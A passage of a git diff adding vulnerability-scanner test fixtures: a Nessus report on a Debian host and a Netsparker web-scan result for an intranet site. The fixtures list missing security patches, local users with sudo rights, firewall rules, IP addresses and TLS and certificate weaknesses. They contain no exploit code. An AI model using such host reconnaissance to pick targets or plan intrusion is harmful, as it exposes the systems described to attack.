system. + + This specific attack has been named Spectre variant 1 (bounds-check bypass) and is mitigated in the Linux kernel architecture by identifying vulnerable code sections (array bounds checking followed by array access) and replacing the array access with the speculation-safe array_index_nospec() function. + + More use sites will be added over time. +4120 +true +Exploits are available +true +debian_DSA-4120.nasl +2018-A-0019 +2018-A-0020 +true +2018/02/22 +2018/02/26 +Debian DSA-4120-1 : linux - security update (Meltdown) (Spectre) +2018/02/23 +local +Medium +$Revision: 3.2 $ +https://security-tracker.debian.org/tracker/CVE-2017-5715 +https://security-tracker.debian.org/tracker/CVE-2017-5754 +https://security-tracker.debian.org/tracker/CVE-2017-13166 +https://security-tracker.debian.org/tracker/CVE-2018-5750 +https://security-tracker.debian.org/tracker/CVE-2017-5753 +https://security-tracker.debian.org/tracker/CVE-2017-5753 +https://security-tracker.debian.org/tracker/linux +https://packages.debian.org/source/stretch/linux +http://www.debian.org/security/2018/dsa-4120 +Upgrade the linux packages. + +For the stable distribution (stretch), these problems have been fixed in version 4.9.82-1+deb9u2. +I +The remote Debian host is missing a security-related update. +DSA:4120 +IAVA:2018-A-0019 +IAVA:2018-A-0020 + +Remote package installed : linux-compiler-gcc-6-x86_4.9.51-1 +Should be : linux-compiler-gcc-6-x86_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-3-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-3-common_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-4-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-4-common_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-amd64_4.9.51-1 +Should be : linux-headers-4.9.0-5-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-headers-4.9.0-4-common_4.9.51-1 +Should be : linux-headers-4.9.0-5-common_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-3-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-4-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-image-4.9.0-4-amd64_4.9.51-1 +Should be : linux-image-4.9.0-5-amd64_4.9.82-1+deb9u2 +Remote package installed : linux-kbuild-4.9_4.9.51-1 +Should be : linux-kbuild-4.9_4.9.82-1+deb9u2 +Remote package installed : linux-libc-dev_4.9.51-1 +Should be : linux-libc-dev_4.9.82-1+deb9u2 + + + +p-cpe:/a:debian:debian_linux:libxcursor +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-16612 +7.5 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H +5.0 +CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P +It was discovered that libXcursor, a X cursor management library, is prone to several heap overflows when parsing malicious files. An attacker can take advantage of these flaws for arbitrary code execution, if a user is tricked into processing a specially crafted cursor file. +4059 +debian_DSA-4059.nasl +2017/12/08 +2018/01/29 +Debian DSA-4059-1 : libxcursor - security update +2017/12/11 +local +Medium +$Revision: 3.3 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883792 +https://security-tracker.debian.org/tracker/libxcursor +https://packages.debian.org/source/jessie/libxcursor +https://packages.debian.org/source/stretch/libxcursor +http://www.debian.org/security/2017/dsa-4059 +Upgrade the libxcursor packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 1:1.1.14-1+deb8u1. + +For the stable distribution (stretch), these problems have been fixed in version 1:1.1.14-1+deb9u1. +The remote Debian host is missing a security-related update. +DSA:4059 + +Remote package installed : libxcursor1_1:1.1.14-1+b4 +Should be : libxcursor1_1:1.1.14-1+deb9u1 + + + +p-cpe:/a:debian:debian_linux:libxml2 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-15412 +Nick Wellnhofer discovered that certain function calls inside XPath predicates can lead to use-after-free and double-free errors when executed by libxml2's XPath engine via an XSLT transformation. +4086 +debian_DSA-4086.nasl +2018/01/13 +2018/01/15 +Debian DSA-4086-1 : libxml2 - security update +2018/01/15 +local +High +$Revision: 3.1 $ +http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883790 +https://security-tracker.debian.org/tracker/libxml2 +https://packages.debian.org/source/jessie/libxml2 +https://packages.debian.org/source/stretch/libxml2 +http://www.debian.org/security/2018/dsa-4086 +Upgrade the libxml2 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.9.1+dfsg1-5+deb8u6. + +For the stable distribution (stretch), this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4086 + +Remote package installed : libxml2_2.9.4+dfsg1-2.2+deb9u1 +Should be : libxml2_2.9.4+dfsg1-2.2+deb9u2 +Remote package installed : libxml2-dev_2.9.4+dfsg1-2.2+deb9u1 +Should be : libxml2-dev_2.9.4+dfsg1-2.2+deb9u2 + + + +p-cpe:/a:debian:debian_linux:bind9 +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-3145 +Jayachandran Palanisamy of Cygate AB reported that BIND, a DNS server implementation, was improperly sequencing cleanup operations, leading in some cases to a use-after-free error, triggering an assertion failure and crash in named. +4089 +debian_DSA-4089.nasl +2018-A-0024 +2018/01/16 +2018/01/22 +Debian DSA-4089-1 : bind9 - security update +2018/01/17 +local +High +$Revision: 3.2 $ +https://security-tracker.debian.org/tracker/bind9 +https://packages.debian.org/source/jessie/bind9 +https://packages.debian.org/source/stretch/bind9 +http://www.debian.org/security/2018/dsa-4089 +Upgrade the bind9 packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 1:9.9.5.dfsg-9+deb8u15. + +For the stable distribution (stretch), this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u4. +I +The remote Debian host is missing a security-related update. +DSA:4089 +IAVA:2018-A-0024 + +Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4 +Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u3 +Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4 + + + +all +This plugin reports a device's hostname collected via SSH or WMI. +wmi_system_hostname.nbin +2018/02/13 +Device Hostname +2011/06/30 +local +None +$Revision: 1.95 $ +n/a +It was possible to determine the remote system hostname. + + Hostname : abcvy031 + abcvy031 (hostname command) + + +p-cpe:/a:debian:debian_linux:tiff +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-11335 +CVE-2017-12944 +CVE-2017-13726 +CVE-2017-13727 +CVE-2017-18013 +CVE-2017-9935 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +Multiple vulnerabilities have been discovered in the libtiff library and the included tools, which may result in denial of service or the execution of arbitrary code. +4100 +debian_DSA-4100.nasl +2018/01/27 +2018/01/29 +Debian DSA-4100-1 : tiff - security update +2018/01/29 +local +Medium +$Revision: 3.1 $ +https://security-tracker.debian.org/tracker/tiff +https://packages.debian.org/source/jessie/tiff +https://packages.debian.org/source/stretch/tiff +http://www.debian.org/security/2018/dsa-4100 +Upgrade the tiff packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 4.0.3-12.3+deb8u5. + +For the stable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u2. +The remote Debian host is missing a security-related update. +DSA:4100 + +Remote package installed : libtiff5_4.0.8-2+deb9u1 +Should be : libtiff5_4.0.8-2+deb9u2 + + + +p-cpe:/a:debian:debian_linux:curl +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2018-1000005 +CVE-2018-1000007 +9.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +6.4 +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P +Two vulnerabilities were discovered in cURL, an URL transfer library. + + - CVE-2018-1000005 Zhouyihai Ding discovered an out-of-bounds read in the code handling HTTP/2 trailers. This issue doesn't affect the oldstable distribution (jessie). + + - CVE-2018-1000007 Craig de Stigter discovered that authentication data might be leaked to third parties when following HTTP redirects. +4098 +debian_DSA-4098.nasl +2018/01/26 +2018/02/20 +Debian DSA-4098-1 : curl - security update +2018/01/29 +local +Medium +$Revision: 3.3 $ +https://security-tracker.debian.org/tracker/CVE-2018-1000005 +https://security-tracker.debian.org/tracker/CVE-2018-1000007 +https://security-tracker.debian.org/tracker/curl +https://packages.debian.org/source/jessie/curl +https://packages.debian.org/source/stretch/curl +http://www.debian.org/security/2018/dsa-4098 +Upgrade the curl packages. + +For the oldstable distribution (jessie), these problems have been fixed in version 7.38.0-4+deb8u9. + +For the stable distribution (stretch), these problems have been fixed in version 7.52.1-5+deb9u4. +The remote Debian host is missing a security-related update. +DSA:4098 + +Remote package installed : curl_7.52.1-5+deb9u3 +Should be : curl_7.52.1-5+deb9u4 +Remote package installed : libcurl3_7.52.1-5+deb9u3 +Should be : libcurl3_7.52.1-5+deb9u4 +Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u3 +Should be : libcurl3-gnutls_7.52.1-5+deb9u4 +Remote package installed : libcurl4-openssl-dev_7.52.1-5+deb9u3 +Should be : libcurl4-openssl-dev_7.52.1-5+deb9u4 + + + +unix +Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials. +ifconfig_inet4.nasl +2017/01/26 +Enumerate IPv4 Interfaces via SSH +2007/05/11 +local +None +$Revision: 1.14 $ +Disable any unused IPv4 interfaces. +Nessus was able to enumerate the IPv4 interfaces on the remote host. + +The following IPv4 addresses are set on the remote host : + + - 12.34.14.16 (on interface ens160) + - 127.0.0.1 (on interface lo) + + + +unix +Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials. +ifconfig_inet6.nasl +2017/01/26 +Enumerate IPv6 Interfaces via SSH +2007/05/11 +local +None +$Revision: 1.16 $ +Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces. +Nessus was able to enumerate the IPv6 interfaces on the remote host. + +The following IPv6 interfaces are set on the remote host : + + - fe80::250:56ff:feb1:6478 (on interface ens160) + - ::1 (on interface lo) + + + +unix +Using the supplied credentials, Nessus was able to get a list of firewall rules from the remote host. +firewall_rules.nasl +2015/06/02 +Firewall Rule Enumeration +2011/09/28 +local +None +$Revision: 1.9 $ +n/a +A firewall is configured on the remote host. + +By running "lsmod | grep -q _conntrack_ipv4 && iptables -L -n -v -t nat", Nessus was able to get the +following list of firewall rules : + +Chain PREROUTING (policy ACCEPT 16300 packets, 966K bytes) + pkts bytes target prot opt in out source destination + +Chain INPUT (policy ACCEPT 16300 packets, 966K bytes) + pkts bytes target prot opt in out source destination + +Chain OUTPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + +Chain POSTROUTING (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + +By running "lsmod | grep -q iptable_filter && iptables -L -n -v -t filter", Nessus was able to get the +following list of firewall rules : + +Chain INPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + 13M 561M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + 49 1996 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID +13326 800K ACCEPT tcp -- * * 12.34.14.0/24 0.0.0.0/0 tcp dpt:8834 + 785 47100 ACCEPT tcp -- * * 53.0.0.0/8 0.0.0.0/0 tcp dpt:8834 + 1240 74400 ACCEPT tcp -- lo * 127.0.0.1 127.0.0.1 tcp dpt:8834 + 0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:8834 + 387 23264 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 + +Chain FORWARD (policy DROP 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + 0 0 DROP all -- * * 0.0.0.0/0 0.0.0.0/0 state INVALID + 0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + +Chain OUTPUT (policy ACCEPT 13M packets, 792M bytes) + pkts bytes target prot opt in out source destination + 13M 575M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + + + +unix +Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote host. +linux_user_enum.nasl +2017/08/28 +Linux User List Enumeration +2016/12/19 +local +None +1.4 +None +Nessus was able to enumerate local users and groups on the remote host. + +----------[ User Accounts ]---------- + +User : wholoch +Home folder : /home/wholoch +Start script : /bin/bash +Groups : dip + netdev + video + cdrom + audio + sudo + plugdev + floppy + wholoch + +User : therres +Home folder : /home/therres +Start script : /bin/bash +Groups : therres + sudo + +User : kuhnrap +Home folder : /home/kuhnrap +Start script : /bin/bash +Groups : sudo + kuhnrap + +User : postgres +Home folder : /var/lib/postgresql +Start script : /bin/bash +Groups : postgres + ssl-cert + +User : bpa +Home folder : /home/bpa +Start script : /bin/bash +Groups : bpa + sudo + +User : tunnel +Home folder : /var/lib/tunnel +Start script : /usr/sbin/nologin +Groups : tunnel + +User : hannhei +Home folder : /home/hannhei +Start script : /bin/bash +Groups : hannhei + sudo + +User : udf +Home folder : /var/lib/udf +Start script : /bin/bash +Groups : udf + +User : rilliju +Home folder : /home/rilliju +Start script : /bin/bash +Groups : rilliju + sudo + +----------[ System Accounts ]---------- + +User : root +Home folder : /root +Start script : /bin/bash +Groups : root + +User : daemon +Home folder : /usr/sbin +Start script : /usr/sbin/nologin +Groups : daemon + +User : bin +Home folder : /bin +Start script : /usr/sbin/nologin +Groups : bin + +User : sys +Home folder : /dev +Start script : /usr/sbin/nologin +Groups : sys + +User : sync +Home folder : /bin +Start script : /bin/sync +Groups : nogroup + +User : games +Home folder : /usr/games +Start script : /usr/sbin/nologin +Groups : games + +User : man +Home folder : /var/cache/man +Start script : /usr/sbin/nologin +Groups : man + +User : lp +Home folder : /var/spool/lpd +Start script : /usr/sbin/nologin +Groups : lp + +User : mail +Home folder : /var/mail +Start script : /usr/sbin/nologin +Groups : mail + +User : news +Home folder : /var/spool/news +Start script : /usr/sbin/nologin +Groups : news + +User : uucp +Home folder : /var/spool/uucp +Start script : /usr/sbin/nologin +Groups : uucp + +User : proxy +Home folder : /bin +Start script : /usr/sbin/nologin +Groups : proxy + +User : www-data +Home folder : /var/www +Start script : /usr/sbin/nologin +Groups : www-data + +User : backup +Home folder : /var/backups +Start script : /usr/sbin/nologin +Groups : backup + +User : list +Home folder : /var/list +Start script : /usr/sbin/nologin +Groups : list + +User : irc +Home folder : /var/run/ircd +Start script : /usr/sbin/nologin +Groups : irc + +User : gnats +Home folder : /var/lib/gnats +Start script : /usr/sbin/nologin +Groups : gnats + +User : nobody +Home folder : /nonexistent +Start script : /usr/sbin/nologin +Groups : nogroup + +User : systemd-timesync +Home folder : /run/systemd +Start script : /bin/false +Groups : systemd-timesync + +User : systemd-network +Home folder : /run/systemd/netif +Start script : /bin/false +Groups : systemd-network + +User : systemd-resolve +Home folder : /run/systemd/resolve +Start script : /bin/false +Groups : systemd-resolve + +User : systemd-bus-proxy +Home folder : /run/systemd +Start script : /bin/false +Groups : systemd-bus-proxy + +User : _apt +Home folder : /nonexistent +Start script : /bin/false +Groups : nogroup + +User : Debian-exim +Home folder : /var/spool/exim4 +Start script : /bin/false +Groups : Debian-exim + +User : messagebus +Home folder : /var/run/dbus +Start script : /bin/false +Groups : messagebus + +User : sshd +Home folder : /run/sshd +Start script : /usr/sbin/nologin +Groups : nogroup + + + + +p-cpe:/a:debian:debian_linux:gdk-pixbuf +cpe:/o:debian:debian_linux:8.0 +cpe:/o:debian:debian_linux:9.0 +CVE-2017-1000422 +8.8 +CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H +6.8 +CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P +It was discovered that multiple integer overflows in the GIF image loader in the GDK Pixbuf library may result in denial of service and potentially the execution of arbitrary code if a malformed image file is opened. +4088 +debian_DSA-4088.nasl +2018/01/15 +2018/01/29 +Debian DSA-4088-1 : gdk-pixbuf - security update +2018/01/16 +local +Medium +$Revision: 3.3 $ +https://security-tracker.debian.org/tracker/CVE-2017-6312 +https://security-tracker.debian.org/tracker/CVE-2017-6313 +https://security-tracker.debian.org/tracker/CVE-2017-6314 +https://security-tracker.debian.org/tracker/gdk-pixbuf +https://packages.debian.org/source/jessie/gdk-pixbuf +https://packages.debian.org/source/stretch/gdk-pixbuf +http://www.debian.org/security/2018/dsa-4088 +Upgrade the gdk-pixbuf packages. + +For the oldstable distribution (jessie), this problem has been fixed in version 2.31.1-2+deb8u7. + +For the stable distribution (stretch), this problem has been fixed in version 2.36.5-2+deb9u2. In addition this update provides fixes for CVE-2017-6312, CVE-2017-6313 and CVE-2017-6314. +The remote Debian host is missing a security-related update. +DSA:4088 + +Remote package installed : libgdk-pixbuf2.0-0_2.36.5-2+deb9u1 +Should be : libgdk-pixbuf2.0-0_2.36.5-2+deb9u2 +Remote package installed : libgdk-pixbuf2.0-common_2.36.5-2+deb9u1 +Should be : libgdk-pixbuf2.0-common_2.36.5-2+deb9u2 + + + +Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages. +ssh_get_info2.nasl +2018/01/24 +OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library) +2017/05/30 +remote +None +1.16 +n/a +Information about the remote host can be disclosed via an authenticated session. + +Nessus can run commands on localhost to check if patches are applied. + +The output of "uname -a" is : +Linux abcvy031 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux + +The remote Debian system is : +9.2 + +Local security checks have been enabled for this host. +Runtime : 0.116531 seconds + + + +The name of this machine either does not resolve or resolves to a different IP address. + +This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host. + +As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete. +bad_rdns.nasl +2016/08/05 +Inconsistent Hostname and IP Address +2010/05/03 +remote +None +1.9 +Fix the reverse DNS or host file. +The remote host's hostname is not consistent with DNS information. +The host name 'localhost' does not resolve to an IP address + + +Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host. +fqdn.nasl +2017/04/14 +Host Fully Qualified Domain Name (FQDN) Resolution +2004/02/11 +remote +None +$Revision: 1.16 $ +n/a +It was possible to resolve the name of the remote host. + +127.0.0.1 resolves as localhost. + + + + + + diff --git a/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json b/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json new file mode 100644 index 0000000000..636c9df622 --- /dev/null +++ b/sechub-sereco/src/test/resources/netsparker/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json @@ -0,0 +1,203 @@ +{ + "Generated": "2018-02-13T15:50:49.6965442+00:00", + "Target": { + "ScanId": "93cc5894f38546f45f7aa8860366c07e", + "Url": "https://fscan.intranet.example.org/", + "Initiated": "2018-02-13T15:51:05.5981218+01:00", + "Duration": "00:30:10.8284631" + }, + "Vulnerabilities": [ + { + "Url": "https://fscan.intranet.example.org/", + "Type": "ApacheVersionDisclosure", + "Name": "Version Disclosure (Apache)", + "Severity": "Low", + "Certainty": 90, + "Confirmed": false, + "State": "Present", + "Classification": { + "Owasp": "", + "Wasc": "45", + "Cwe": "205", + "Capec": "170", + "Pci31": "", + "Pci32": "", + "Hipaa": "164.306(a), 164.308(a)", + "OwaspProactiveControls": "" + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: fscan.intranet.example.org\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 62.4938, + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.4.10 (Debian)\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=100\r\nContent-Length: 1564\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Encoding: \r\nDate: Tue, 13 Feb 2018 14:50:31 GMT\r\nVary: Accept-Encoding\r\n\r\n\n\n\n\t\n\tFile-Scan Service\n\t\n \n \n \n \n \n \n \n \n\n\n\n







    \n
    \n


    1) Drop a file here or click to select.

    \n\t\n\t


    \n\t\n \n
    2) Enter the code: \n
    \n\t[ Different Image ]


    \n
    \"CAPTCHA

    \n \n

    \n


    \n\tQuickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    \n
    \n\n" + }, + "ExtraInformation": [ + { + "Name": "ExtractedVersion", + "Value": "2.4.10" + } + ], + "KnownVulnerabilities": [], + "Description": "

    Netsparker Cloud identified a version disclosure (Apache) in the target web server's HTTP response.

    This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

    ", + "Impact": "
    An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
    ", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
    Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
    ", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "ApacheOutOfDate", + "Name": "Out-of-date Version (Apache)", + "Severity": "Medium", + "Certainty": 90, + "Confirmed": false, + "State": "Present", + "Classification": { + "Owasp": "A9", + "Wasc": "", + "Cwe": "", + "Capec": "310", + "Pci31": "6.2", + "Pci32": "6.2", + "Hipaa": "", + "OwaspProactiveControls": "C1" + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: fscan.intranet.example.org\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 62.4938, + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.4.10 (Debian)\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=100\r\nContent-Length: 1564\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Encoding: \r\nDate: Tue, 13 Feb 2018 14:50:31 GMT\r\nVary: Accept-Encoding\r\n\r\n\n\n\n\t\n\tFile-Scan Service\n\t\n \n \n \n \n \n \n \n \n\n\n\n






    \n
    \n


    1) Drop a file here or click to select.

    \n\t\n\t


    \n\t\n \n
    2) Enter the code: \n
    \n\t[ Different Image ]


    \n
    \"CAPTCHA

    \n \n

    \n


    \n\tQuickly check a file for malicious activity or suspicious content.
    Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
    Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
    \n
    \n\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "2.4.10" + }, + { + "Name": "Latest Version", + "Value": "2.4.29" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 23.11.2017 vulnerability database content." + } + ], + "KnownVulnerabilities": [ + { + "Title": "Apache Denial of Service Vulnerability", + "Severity": "Medium" + }, + { + "Title": "Apache Restriction Bypass Vulnerability", + "Severity": "Medium" + }, + { + "Title": "Apache Restriction Bypass Vulnerability", + "Severity": "Medium" + } + ], + "Description": "

    Netsparker Cloud identified you are using an out-of-date version of Apache.

    ", + "Impact": "
    Since this is an old version of the software, it may be vulnerable to attacks.
    ", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "

    Please upgrade your installation of Apache to the latest stable version.

    ", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "WeakSignatureAlgorithmDetected", + "Name": "Certificate is Signed Using a Weak Signature Algorithm", + "Severity": "High", + "Certainty": 100, + "Confirmed": true, + "State": "Present", + "Classification": { + "Owasp": "A6", + "Wasc": "4", + "Cwe": "", + "Capec": "459", + "Pci31": "6.5.4", + "Pci32": "6.5.4", + "Hipaa": "", + "OwaspProactiveControls": "C7" + }, + "HttpRequest": { + "Method": "GET", + "Content": "[NETSPARKER] SSL Connection", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 1.0, + "Content": "[NETSPARKER] SSL Connection" + }, + "ExtraInformation": [ + { + "Name": "Weakly Signed Certificates", + "Value": "sha1RSA - E=exampleintegration@example.org, CN=fscan.intranet.example.org, OU=ITM-TSS, O=Daimler AG, L=Ulm, S=Baden-Wuerttemberg, C=DE" + } + ], + "KnownVulnerabilities": [], + "Description": "

    Netsparker Cloud detected that a certificate is signed using a weak signature algorithm.

    The weak signature algorithm is known to be cryptographically weak and vulnerable to collision attacks.

    ", + "Impact": "
    Attackers can observe the encrypted traffic between your website and its visitors by leveraging the use of this vulnerability.
    ", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
    You'll need to generate a new certificate request, and get your CA to issue you a new certificate using SHA-2.
    ", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "TlsVersion1Support", + "Name": "Insecure Transportation Security Protocol Supported (TLS 1.0)", + "Severity": "Low", + "Certainty": 100, + "Confirmed": true, + "State": "Present", + "Classification": { + "Owasp": "A6", + "Wasc": "4", + "Cwe": "327", + "Capec": "217", + "Pci31": "6.5.4", + "Pci32": "6.5.4", + "Hipaa": "", + "OwaspProactiveControls": "" + }, + "HttpRequest": { + "Method": "GET", + "Content": "[NETSPARKER] SSL Connection", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 1.0, + "Content": "[NETSPARKER] SSL Connection" + }, + "ExtraInformation": [], + "KnownVulnerabilities": [], + "Description": "

    Netsparker Cloud detected that insecure transportation security protocol (TLS 1.0) is supported by your web server.

    TLS 1.0 has several flaws. An attacker can cause connection failures and they can trigger the use of TLS 1.0 to exploit vulnerabilities like BEAST (Browser Exploit Against SSL/TLS).

    Websites using TLS 1.0 will be considered non-compliant by PCI after 30 June 2018.

    ", + "Impact": "
    Attackers can perform man-in-the-middle attacks and observe the encryption traffic between your website and its visitors.
    ", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "

    Configure your web server to disallow using weak ciphers. You need to restart the web server to enable changes.

    • For Apache, adjust the SSLProtocol directive provided by the mod_ssl module. This directive can be set either at the server level or in a virtual host configuration.
      SSLProtocol +TLSv1.1 +TLSv1.2\n
    • For Nginx, locate any use of the directive ssl_protocols in the nginx.conf file and remove TLSv1.
      ssl_protocols TLSv1.1 TLSv1.2;\n
    • For Microsoft IIS, you should make some changes on the system registry.
      1. Click on Start and then Run, type regedt32 or regedit, and then click OK.
      2. In Registry Editor, locate the following registry key or create if it does not exist:
        HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\TLS 1.0\\\n
      3. Locate a key named Server or create if it doesn't exist.
      4. Under the Server key, locate a DWORD value named Enabled or create if it doesn't exist and set its value to \"0\".
